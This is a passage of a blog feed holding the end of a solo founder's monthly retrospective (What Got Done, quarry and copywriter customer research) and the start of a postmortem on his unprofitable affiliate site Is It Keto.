&lt;p>Almost the full amount comes from a single customer who needed Zestful for a one-time project, so it&amp;rsquo;s unlikely to repeat for long, but it&amp;rsquo;s fun to get a bit of money back on a project that &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#zestful">cost me ~$8k&lt;/a>.&lt;/p>
&lt;h2 id="what-got-done-business-or-hobby">What Got Done: business or hobby?&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/06/whatgotdone.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/06/whatgotdone_hu_7d55be95065ac22e.jpg 300w, https://mtlynch.io/retrospectives/2019/06/whatgotdone_hu_dfce0f21d3523359.jpg 600w, https://mtlynch.io/retrospectives/2019/06/whatgotdone_hu_8379ad0f4ed1039e.jpg 800w, https://mtlynch.io/retrospectives/2019/06/whatgotdone_hu_686b8a38174a8381.jpg 1200w, https://mtlynch.io/retrospectives/2019/06/whatgotdone.jpg 1280w'
 src="https://mtlynch.io/retrospectives/2019/06/whatgotdone.jpg" alt="What Got Done screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My &lt;a href="https://weeks.mtlynch.io/2019-06-07">What Got Done entry&lt;/a> for last week&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m not sure what to do with What Got Done. I built it primarily to get practical experience with &lt;a href="https://vuejs.org/">Vue.js&lt;/a>, as learning a web framework was one of my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#goals-for-year-two">goals for 2019&lt;/a>. As a tool, it&amp;rsquo;s useful for me because I like logging my tasks to close out the week. I never thought it was my most promising business idea, but I figured it wouldn&amp;rsquo;t be that much more work to see if it had potential as a paid product.&lt;/p>
&lt;p>Now that I&amp;rsquo;ve launched it and found that nobody is interested in paying for premium features, I&amp;rsquo;m considering two options:&lt;/p>
&lt;p>&lt;strong>Option A: Let it be free&lt;/strong>: Forget about making money from it and treat it as a tool for myself that others can use, too. If it gains traction on its own, I can later revisit the possibility of selling premium features.&lt;/p>
&lt;p>&lt;strong>Option B: Sell harder&lt;/strong>: Approach more businesses directly and ask them what prevents them from using it.&lt;/p>
&lt;p>Option A is undoubtedly easier. Option B seems unattractive, but I can&amp;rsquo;t tell if it&amp;rsquo;s because I &lt;a href="https://mtlynch.io/shipping-too-late/#did-i-delay-my-launch-to-avoid-rejection">fear rejection&lt;/a> or because I&amp;rsquo;m rationally evaluating the low likelihood of success and the time it will take away from other projects that I consider more promising.&lt;/p>
&lt;h2 id="leave-no-stone-unturned">Leave no stone unturned&lt;/h2>
&lt;p>The last retrospective mentioned my idea to write &lt;a href="https://mtlynch.io/retrospectives/2019/05/#an-app-for-rocks">software for stone quarry operators&lt;/a>. I was struggling to convince any of the quarries I approached to even speak with me because they didn&amp;rsquo;t understand what I wanted.&lt;/p>
&lt;p>In May, I continued reaching out to those quarry owners, and here are the results:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Owner A&lt;/strong>: Polite but firm &amp;ldquo;no&amp;rdquo; after an in-person visit and three calls&lt;/li>
&lt;li>&lt;strong>Owner B&lt;/strong>: No response after an in-person visit and four or five calls&lt;/li>
&lt;li>&lt;strong>Owner C&lt;/strong>: Finally reached the owners, who were friendly and open to speaking to me (took an in-person visit and three phone calls)&lt;/li>
&lt;/ul>
&lt;p>The conversation with Owner C was interesting but made it seem that software for quarry owners wasn&amp;rsquo;t such a hot idea. Here were some of the challenges we discussed (some are specific to this particular quarry):&lt;/p>
&lt;ul>
&lt;li>The quarry itself has no electricity.&lt;/li>
&lt;li>The quarry and large sections of the surrounding area have spotty cell phone coverage.&lt;/li>
&lt;li>Many of their clients are older and prefer to do things by phone.
&lt;ul>
&lt;li>This makes online ordering a no-go.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Anything that requires workers to carry around phones/tablets is a non-starter:
&lt;ul>
&lt;li>They primarily use walkie-talkies and have to replace them every 12 months due to dust, drops, or accidental crushing.&lt;/li>
&lt;li>Workers generally wear gloves, eye protection, and ear protection that make it hard for them to interact with a mobile device.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There&amp;rsquo;s a lot of gruntwork in filling out forms for legal compliance, but they need paper copies on hand for audits.
&lt;ul>
&lt;li>Workers currently record information on clipboards, which are easy to use and cheap to replace in the event of damage.&lt;/li>
&lt;li>Having to do it digitally would mean consuming the paper forms from the workers, digitizing them somehow, then printing them out again. This didn&amp;rsquo;t sound appealing to anyone.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>The owner was open to the idea of automation, and I tried my darndest to find opportunities to integrate software into her business, but we couldn&amp;rsquo;t find anything that would make sense.&lt;/p>
&lt;h2 id="taking-on-google-docs">Taking on Google Docs&lt;/h2>
&lt;p>Last month, I also &lt;a href="https://mtlynch.io/retrospectives/2019/05/#simplifying-the-editing-workflow">described&lt;/a> an idea for a writing tool that focuses on the editing and review process.&lt;/p>
&lt;p>After attending &lt;a href="https://www.microconf.com/">MicroConf&lt;/a>, my friend &lt;a href="https://twitter.com/jupiterunknown">David Toth&lt;/a> recommended I reach out to copywriters who spoke at that event, so I emailed some of the speakers. What I didn&amp;rsquo;t realize was that the speakers at MicroConf are a special type of writer known as &amp;ldquo;conversion copywriters.&amp;rdquo; They specialize in writing sales copy for websites and emails.&lt;/p>
&lt;p>This ended up being a happy accident because they weren&amp;rsquo;t the right audience for my initial idea, but they turned out to be promising collaborators for a different idea. Email copywriters don&amp;rsquo;t do much back and forth with their clients, so they didn&amp;rsquo;t have a burning need for better revision tools. But they all struggled to find effective ways of sharing email drafts with their clients. Their projects typically require them to write long sequences of emails, often including emails with alternate versions.&lt;/p>
&lt;p>Most of them either use Google Docs or the editing interface of the client&amp;rsquo;s email service provider (e.g., MailChimp or HubSpot). None of these tools are a good match for their workflow, but there&amp;rsquo;s nothing better, so they develop workarounds that involve lots of tedious, manual effort.&lt;/p>
&lt;p>Based on these conversations, I made &lt;a href="https://www.dropbox.com/sh/b7df1s5z40lqd47/AADgcLG5ZmSPM9HRFwb0llPTa?dl=0">some sketches&lt;/a> of a possible tool specifically aimed at addressing their pain points.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 







&lt;div class="img" style="max-width: 576px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/06/email-comments.png">
 &lt;img
 
 sizes="(min-width: 768px) 576px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/06/email-comments_hu_d1cf4a07192f0a70.png 300w, https://mtlynch.io/retrospectives/2019/06/email-comments.png 576w'
 src="https://mtlynch.io/retrospectives/2019/06/email-comments.png" alt="Wireframe of feedback view" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 






&lt;div class="img" style="max-width: 707px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/06/email-diff.png">
 &lt;img
 
 sizes="(min-width: 768px) 707px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/06/email-diff_hu_e2df53a433b96d18.png 300w, https://mtlynch.io/retrospectives/2019/06/email-diff_hu_a095988e06c7dc52.png 600w, https://mtlynch.io/retrospectives/2019/06/email-diff.png 707w'
 src="https://mtlynch.io/retrospectives/2019/06/email-diff.png" alt="Wireframe of diff view" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Possible interfaces for email campaign authoring tool&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>This was my first attempt at applying the &amp;ldquo;market-first approach&amp;rdquo; that Rob Walling describes in &lt;a href="https://mtlynch.io/book-reports/start-small-stay-small/">&lt;em>Start Small, Stay Small&lt;/em>&lt;/a>. Instead of creating a product and convincing people to use it, you find a market with an unmet need, then build the product that satisfies their need.&lt;/p>
&lt;p>I plan to pursue this idea further this month. The reasons I like it are:&lt;/p>
&lt;ul>
&lt;li>Conversion copywriters make good money and are willing to buy tools that improve their service.&lt;/li>
&lt;li>Large companies are unlikely to build a competing tool because the market is too niche.&lt;/li>
&lt;li>I can build a minimum viable product in 4-6 weeks and continue expanding it if it gains customers.&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 If you know an email copywriter who might be interested, please ask them to &lt;a href="https://mtlynch.io/about/">email me&lt;/a>. I&amp;rsquo;d love to speak with them.
&lt;/div>

&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Launched &lt;a href="https://whatgotdone.com">What Got Done&lt;/a>&lt;/li>
&lt;li>Published a new blog post: &lt;a href="https://mtlynch.io/keep-growing-never-profit/">&amp;ldquo;How to Grow Quickly and Never Turn a Profit&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Paid in-person visits to three stone quarries for customer research (got one interview)&lt;/li>
&lt;li>Reached out to seven content writers and copywriters for customer research (got four interviews)&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>It&amp;rsquo;s easier to find customers and ask them what they need than to find customers who need your specific product.
&lt;ul>
&lt;li>Credit: This is the &amp;ldquo;market-first approach,&amp;rdquo; described in &lt;a href="https://mtlynch.io/book-reports/start-small-stay-small/">&lt;em>Start Small, Stay Small&lt;/em>&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Copywriters are more open to cold outreach than quarry owners are.
&lt;ul>
&lt;li>Too small a sample size to generalize much, but I suspect that people in tech-focused jobs are more open to new technology offerings.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a new blog post that explains why I built What Got Done&lt;/li>
&lt;li>Interview six email copywriters about their workflow and pain points&lt;/li>
&lt;li>Create a landing page to begin collecting customer emails for my next product&lt;/li>
&lt;/ul></content:encoded></item><item><title>How to Grow Quickly and Never Turn a Profit</title><link>https://mtlynch.io/keep-growing-never-profit/</link><pubDate>Fri, 31 May 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/keep-growing-never-profit/</guid><description>&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/cover_hu_7cd86a0fd087a80b.jpg 300w, https://mtlynch.io/keep-growing-never-profit/cover_hu_3c9932b010dde410.jpg 600w, https://mtlynch.io/keep-growing-never-profit/cover_hu_b2344011fe6382dd.jpg 800w, https://mtlynch.io/keep-growing-never-profit/cover_hu_9b5c5362d489227f.jpg 1200w, https://mtlynch.io/keep-growing-never-profit/cover.jpg 1200w'
 src="https://mtlynch.io/keep-growing-never-profit/cover.jpg" alt="How to Keep Growing and Never Turn a Profit (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Early last year, I launched a nutrition site called &lt;a href="https://isitketo.org">Is It Keto&lt;/a>. From November 2018 until March 2019, the site was my full-time focus. Every month, visitors increased by 50% to 150%, an exhilarating growth rate that far outpaced any of my previous projects.&lt;/p>
&lt;p>There was only one pesky detail standing between me and tremendous profits: money. For every dollar I spent on the site, I earned back ten cents. For my non-business-savvy readers, a -90% return on investment is considered less-than-stellar. At the end of March, the site&amp;rsquo;s financial future seemed bleak, so I shelved the project.&lt;/p></description><content:encoded>












 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/cover_hu_7cd86a0fd087a80b.jpg 300w, https://mtlynch.io/keep-growing-never-profit/cover_hu_3c9932b010dde410.jpg 600w, https://mtlynch.io/keep-growing-never-profit/cover_hu_b2344011fe6382dd.jpg 800w, https://mtlynch.io/keep-growing-never-profit/cover_hu_9b5c5362d489227f.jpg 1200w, https://mtlynch.io/keep-growing-never-profit/cover.jpg 1200w'
 src="https://mtlynch.io/keep-growing-never-profit/cover.jpg" alt="How to Keep Growing and Never Turn a Profit (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Early last year, I launched a nutrition site called &lt;a href="https://isitketo.org">Is It Keto&lt;/a>. From November 2018 until March 2019, the site was my full-time focus. Every month, visitors increased by 50% to 150%, an exhilarating growth rate that far outpaced any of my previous projects.&lt;/p>
&lt;p>There was only one pesky detail standing between me and tremendous profits: money. For every dollar I spent on the site, I earned back ten cents. For my non-business-savvy readers, a -90% return on investment is considered less-than-stellar. At the end of March, the site&amp;rsquo;s financial future seemed bleak, so I shelved the project.&lt;/p>
&lt;p>This is my postmortem for Is It Keto. I&amp;rsquo;ll talk about where I succeeded, how I could have done better, and what I wish I knew from the start.&lt;/p>
&lt;h2 id="how-i-made-money">How I made money&lt;/h2>
&lt;p>Is It Keto had a simple business model. Every article explained why a food did or did not fit &lt;a href="https://www.ruled.me/guide-keto-diet/">the keto diet&lt;/a>. If a food was keto-friendly, the site displayed an affiliate link for the reader to purchase it from Amazon. I received a commission on every order.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/isitketo-affiliate-links.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/isitketo-affiliate-links_hu_2c057d81842fe410.jpg 300w, https://mtlynch.io/keep-growing-never-profit/isitketo-affiliate-links_hu_11471d9323866c24.jpg 600w, https://mtlynch.io/keep-growing-never-profit/isitketo-affiliate-links_hu_da47779fb4dc2f50.jpg 800w, https://mtlynch.io/keep-growing-never-profit/isitketo-affiliate-links.jpg 1103w'
 src="https://mtlynch.io/keep-growing-never-profit/isitketo-affiliate-links.jpg" alt="Is It Keto screenshot showing affiliate links" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon Affiliate links on Is It Keto&lt;/p>&lt;/figcaption>
&lt;/figure>















 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 765px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/revenues.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 765px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/revenues_hu_a6d4ea1c0b4fcfa6.jpg 300w, https://mtlynch.io/keep-growing-never-profit/revenues_hu_6585d051369ea44b.jpg 600w, https://mtlynch.io/keep-growing-never-profit/revenues.jpg 763w'
 src="https://mtlynch.io/keep-growing-never-profit/revenues.jpg" alt="Google Analytics screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto monthly revenue&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="how-i-lost-money">How I lost money&lt;/h2>
&lt;p>My most significant ongoing cost was content. Early on, I wrote every article myself, but I hired writers to help scale the site. It got complicated, but I&amp;rsquo;ll say more about that &lt;a href="#good-writing-is-expensive">below&lt;/a>.&lt;/p>
&lt;p>The only other cost worth mentioning is development. I wrote almost all the code, but a friend briefly freelanced for me while she had time between projects.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/costs.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/costs_hu_e43565578a49b49f.jpg 300w, https://mtlynch.io/keep-growing-never-profit/costs_hu_184af2ceb6ae1aee.jpg 600w, https://mtlynch.io/keep-growing-never-profit/costs.jpg 718w'
 src="https://mtlynch.io/keep-growing-never-profit/costs.jpg" alt="Donut chart of expenses" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto expenses&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="what-went-well">What went well&lt;/h2>
&lt;h3 id="i-chose-done-over-perfect">I chose &amp;ldquo;done&amp;rdquo; over &amp;ldquo;perfect&amp;rdquo;&lt;/h3>
&lt;p>Design is not my strong suit. I&amp;rsquo;ve wasted hours moving buttons five pixels back and forth, wondering which version looks better.&lt;/p>
&lt;p>To avoid this with Is It Keto, I budgeted fixed-time blocks for design polish. For example, when a page looked ugly, I set aside exactly 90 minutes to improve it. At the end of the 90 minutes, I published the changes as long as they were an improvement over the original. Rarely did the result feel satisfying in the moment, but when I revisited it the next day with fresh eyes, it usually looked fine.&lt;/p>
&lt;p>The same logic applied to code. It pains me to ship code that&amp;rsquo;s likely to create maintenance headaches later, but for an experimental project, there might not be a &amp;ldquo;later.&amp;rdquo; Code sins were forgivable, so I committed many of them. When they came back to bite me, I paused development to clean things up, but that was seldom necessary and never catastrophic.&lt;/p>
&lt;h3 id="i-worked-with-familiar-tools">I worked with familiar tools&lt;/h3>
&lt;p>My project before Is It Keto was a recipe search tool called &lt;a href="https://recipe-search.isitketo.org">KetoHub&lt;/a>. Envious of the cool kids with their hip frontend frameworks, I built the site using &lt;a href="https://angular.io">Angular&lt;/a> and &lt;a href="https://firebase.google.com">Firebase&lt;/a>. At first, this was fun because those technologies do seemingly magical things. My progress slowed to a crawl, however, when I ventured beyond basic examples. The magicalness of the tech stack prevented me from understanding how my app worked.&lt;/p>
&lt;p>Reeling from this pain, I wrote Is It Keto using Python 2.7, App Engine Standard, and Cloud Datastore. These are relatively old and unsexy technologies, but it&amp;rsquo;s the same setup as a site I maintained for several years. Is It Keto keeps all of its logic on the server, which makes it uncool but trivial to reason about.&lt;/p>
&lt;p>This wasn&amp;rsquo;t a pure win, as many of the web libraries that I wanted weren&amp;rsquo;t available for my environment. Nevertheless, I understood my tech stack, so there was always a way forward, even if it was inefficient or hacky. Contrast this with Angular, which routinely blocked me for days as I struggled to achieve something simple through its countless layers of abstraction.&lt;/p>
&lt;h3 id="i-published-monthly-goals-and-stuck-to-them">I published monthly goals and stuck to them&lt;/h3>
&lt;p>At the end of each month, I wrote a &lt;a href="https://mtlynch.io/retrospectives/">retrospective&lt;/a> detailing the work I did on Is It Keto. I also declared concrete, measurable goals for the following month and graded myself on my goals from the previous month. This practice was tremendously valuable for both course-correction and maintaining focus.&lt;/p>
&lt;div class="notice notice-info">
 My inspiration for assigning letter grades to my goals came from &lt;a href="http://www.coryzue.com/writing/">Cory Zue&lt;/a>, whose blog posts and retrospectives I recommend highly.
&lt;/div>

&lt;p>When you&amp;rsquo;re launching a new project, it&amp;rsquo;s easy to go down a rabbit hole and forget to revisit your strategy or assumptions. Writing a retrospective forces you to take a step back and reassess what you&amp;rsquo;re doing.&lt;/p>
&lt;p>A good example of this was when I outsourced all of Is It Keto&amp;rsquo;s Twitter promotion to a low-cost virtual assistant. It saved me so much time that I couldn&amp;rsquo;t wait to brag about it in my retrospective. But in trying to explain to my readers why it was such a win, &lt;a href="https://mtlynch.io/retrospectives/2019/03/#twitter-on-auto-pilot-but-its-not-scaling">I realized it wasn&amp;rsquo;t&lt;/a>.&lt;/p>
&lt;p>My virtual assistant saved me time, but Twitter generated less than a penny for every dollar I invested in it. Without the retrospective, I would have continued happily paying my virtual assistant and never examined whether Twitter merited investment in the first place.&lt;/p>
&lt;p>Declaring my goals publicly also protected me from wandering off into the weeds. Here&amp;rsquo;s a conversation I had with myself about a feature I was excited to build:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Me (Feature-happy)&lt;/strong>: I should integrate with the USDA&amp;rsquo;s public database! That way, every Is It Keto page can display the food&amp;rsquo;s nutritional information.&lt;/p>
&lt;p>&lt;strong>Me (Goal-oriented)&lt;/strong>: This month&amp;rsquo;s top goal is to earn $50 in revenue. Would integrating with the USDA database help achieve that?&lt;/p>
&lt;p>&lt;strong>Me (Feature-happy)&lt;/strong>: Maybe! It would improve the site experience and attract more users.&lt;/p>
&lt;p>&lt;strong>Me (Goal-oriented)&lt;/strong>: But it would take three weeks of development time. Given the same timeframe, are there other tasks that have a higher probability of yielding $50 in revenue?&lt;/p>
&lt;p>&lt;strong>Me (Feature-happy)&lt;/strong>: (deflated) Yes&amp;hellip;&lt;/p>&lt;/blockquote>
&lt;p>Without explicit goals, the feature-happy version of me would have run rampant, building features that were fun but irrelevant to the bottom line.&lt;/p>
&lt;h2 id="what-needed-improvement">What needed improvement&lt;/h2>
&lt;h3 id="i-obsessed-over-metrics">I obsessed over metrics&lt;/h3>
&lt;p>It was easy for me to rationalize the many daily visits I paid to my traffic and revenue dashboards. &amp;ldquo;Of &lt;em>course&lt;/em> I have to check my metrics. They&amp;rsquo;re critical to understanding the health of my site.&amp;rdquo; Many founders fall into the same trap.&lt;/p>
&lt;p>Checking metrics is &lt;a href="https://mtlynch.io/book-reports/deep-work/#key-takeaways">&amp;ldquo;shallow work&amp;rdquo;&lt;/a>: it doesn&amp;rsquo;t require deep focus or critical thinking, but it &lt;em>feels&lt;/em> productive. It is, of course, useful for a site owner to know their traffic and revenue numbers, but not at the frequency that I was checking.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/google-analytics.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/google-analytics_hu_147a5fbb17a4f410.jpg 300w, https://mtlynch.io/keep-growing-never-profit/google-analytics_hu_2ee001a94a23ef4d.jpg 600w, https://mtlynch.io/keep-growing-never-profit/google-analytics_hu_1f0cfe910063a724.jpg 800w, https://mtlynch.io/keep-growing-never-profit/google-analytics.jpg 996w'
 src="https://mtlynch.io/keep-growing-never-profit/google-analytics.jpg" alt="Google Analytics screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto page views - March 2018 through April 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>There&amp;rsquo;s something enticing about these dashboards beyond the graphs and stats. They hold the promise of little mental reward pellets.&lt;/p>
&lt;p>As I toiled away on the site in solitude, a spike in visitors or a jump in revenue made my day. The problem was that for every &amp;ldquo;good&amp;rdquo; day where I made $3-4 in revenue, there were five days where I earned nothing and felt miserable.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/amazon-affiliate.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/amazon-affiliate_hu_59ed556f3184765f.jpg 300w, https://mtlynch.io/keep-growing-never-profit/amazon-affiliate_hu_f5e4d191c9b60c2.jpg 600w, https://mtlynch.io/keep-growing-never-profit/amazon-affiliate_hu_a53214f767bea24b.jpg 800w, https://mtlynch.io/keep-growing-never-profit/amazon-affiliate.jpg 950w'
 src="https://mtlynch.io/keep-growing-never-profit/amazon-affiliate.jpg" alt="Screenshot of Amazon Affiliate Dashboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon Affiliate earnings - March 2019&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Starting in February, I limited my metric checking to one thirty-minute session per week. I do it Friday afternoons as something to look forward to before the weekend.&lt;/p>
&lt;p>Until I broke the habit of constant stat-checking, I never realized how much space it occupied in my brain. Without it, I&amp;rsquo;m far more focused and less dependent on short-term results.&lt;/p>
&lt;h3 id="i-forgot-that-food-is-cheap">I forgot that food is cheap&lt;/h3>
&lt;p>My first experiment with affiliate links was on this blog. I don&amp;rsquo;t write to make money, but many of my articles already linked to Amazon, so I figured Jeff Bezos might as well throw some money my way.&lt;/p>
&lt;p>In good months, the blog earned up to $150 from affiliate links. Naturally, I thought, &amp;ldquo;If I earn $150/month without even trying, imagine what I could make with a site that focused on affiliate links!&amp;rdquo;&lt;/p>
&lt;p>My fatal flaw was in neglecting prices. The affiliate links on my blog were for things like &lt;a href="https://mtlynch.io/building-a-vm-homelab/">PC hardware&lt;/a> and &lt;a href="https://mtlynch.io/greenpithumb/">hobby electronics&lt;/a>, where customers easily spend hundreds to thousands of dollars per order.&lt;/p>
&lt;p>Is It Keto linked to food products. One of the top affiliate clicks is &lt;a href="https://isitketo.org/propel">Propel Fitness Water&lt;/a>, which sells for as little as $6 per case, so it requires far more users to match the revenues from my blog.&lt;/p>
&lt;h3 id="i-didnt-think-through-my-monetization-strategy">I didn&amp;rsquo;t think through my monetization strategy&lt;/h3>
&lt;p>To help prioritize future articles, Is It Keto tracks the most commonly-requested foods that lack a dedicated page. Here are the top five:&lt;/p>
&lt;blockquote>
&lt;/blockquote>
&lt;ol>
&lt;li>Mushrooms&lt;/li>
&lt;li>Beef&lt;/li>
&lt;li>Sausages&lt;/li>
&lt;li>Peppers&lt;/li>
&lt;li>Beer&lt;/li>
&lt;/ol>
&lt;p>See the problem?&lt;/p>
&lt;p>People don&amp;rsquo;t order any of those things from Amazon. The issue extends far beyond those five. Among the top 100 requests, only a handful are products people might buy through Amazon. This means that there&amp;rsquo;s a massive, revenue-draining disconnect between the foods that readers seek out on Is It Keto and the items they purchase online.&lt;/p>
&lt;p>In evaluating business ideas now, I think about revenue from start to finish. For me to receive a dollar of revenue, what sequence of events must occur? Had this been part of my evaluation process for Is It Keto, hopefully I would have spotted the red flag when I got to, &amp;ldquo;And then the customer asks Amazon to mail them &lt;a href="https://smile.amazon.com/ICEBERG-LETTUCE-Neighborhood-Corner-Store/dp/B008CQOYX8/">a head of lettuce&lt;/a> so that I can collect my affiliate fee.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/amazon-lettuce.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/amazon-lettuce_hu_aa7dd53b0f77b5ac.jpg 300w, https://mtlynch.io/keep-growing-never-profit/amazon-lettuce_hu_48f6256c643a62c.jpg 600w, https://mtlynch.io/keep-growing-never-profit/amazon-lettuce_hu_eaf6548163145b8c.jpg 800w, https://mtlynch.io/keep-growing-never-profit/amazon-lettuce.jpg 1140w'
 src="https://mtlynch.io/keep-growing-never-profit/amazon-lettuce.jpg" alt="Google Analytics screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>For only about 10x what you&amp;rsquo;d pay at the supermarket, Amazon will mail you &lt;a href="https://smile.amazon.com/ICEBERG-LETTUCE-Neighborhood-Corner-Store/dp/B008CQOYX8/">a single head of lettuce&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="what-i-wish-i-had-known">What I wish I had known&lt;/h2>
&lt;h3 id="search-engines-have-a-substantial-lag">Search engines have a substantial lag&lt;/h3>
&lt;p>Today, if you ask Google &lt;a href="https://www.google.com/search?q=are%20cheese%20whisps%20keto%3F">&amp;ldquo;are cheese whisps keto?&amp;rdquo;&lt;/a> it responds with a list of results that all fail to answer the question.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/keep-growing-never-profit/cheese-whisps.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/keep-growing-never-profit/cheese-whisps_hu_6f6900f1c826eaca.jpg 300w, https://mtlynch.io/keep-growing-never-profit/cheese-whisps_hu_345c8366ebf323cd.jpg 600w, https://mtlynch.io/keep-growing-never-profit/cheese-whisps_hu_1a323f0f0fb95fa1.jpg 800w, https://mtlynch.io/keep-growing-never-profit/cheese-whisps.jpg 904w'
 src="https://mtlynch.io/keep-growing-never-profit/cheese-whisps.jpg" alt="Google Analytics screenshot" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Google results for &lt;a href="https://www.google.com/search?q=are%20cheese%20whisps%20keto%3F">&amp;ldquo;are cheese whisps keto?&amp;rdquo;&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Is It Keto &lt;a href="https://isitketo.org/whisps">has the answer&lt;/a>, but Google ignores it. For products like &lt;a href="https://www.google.com/search?q=is%20Metamucil%20keto%3F">Metamucil&lt;/a> or &lt;a href="https://www.google.com/search?q=is%20Lily%27s%20Chocolate%20keto%3F">Lily&amp;rsquo;s Chocolate&lt;/a>, Google places Is It Keto among the top results, so why no love for the Whisps page?&lt;/p>
&lt;p>For new sites, Google ranks you low in results and then bumps you up or down depending on how often users click through to your page. That process is painfully slow. The pages on Is It Keto that currently enjoy top placement took months to get there, and 90% of my articles remain buried too far in Google results for anyone to see.&lt;/p>
&lt;p>Having this knowledge up front would have made me more cautious about pursuing a content site. Most online businesses flop, so I pursue projects that let me fail fast and avoid sinking years into a dud. The sluggish settling pace of search engine rankings stretches out this feedback loop inconveniently far.&lt;/p>
&lt;p>One way to accelerate this process is to earn links from other highly-ranked pages. If &lt;a href="https://www.menshealth.com/">&lt;em>Men&amp;rsquo;s Health Magazine&lt;/em>&lt;/a> linked to Is It Keto, search engines would consider my site more relevant and deserving of higher search rankings. In a strategic misstep on my part, I never created content that incentivized other sites to link to Is It Keto, save for a few desperate blog posts near the end that failed to win any attention.&lt;/p>
&lt;h3 id="good-writing-is-expensive">Good writing is expensive&lt;/h3>
&lt;p>The typical Is It Keto article took me 15-30 minutes to write. However, writing is mentally taxing, so it burned me out quickly.&lt;/p>
&lt;p>I estimated that outsourcing the content would cost about $5-15 per article. A recent liberal arts grad would probably work for $15-25/hr and produce two or three articles per hour.&lt;/p>
&lt;p>Boy, was I off.&lt;/p>
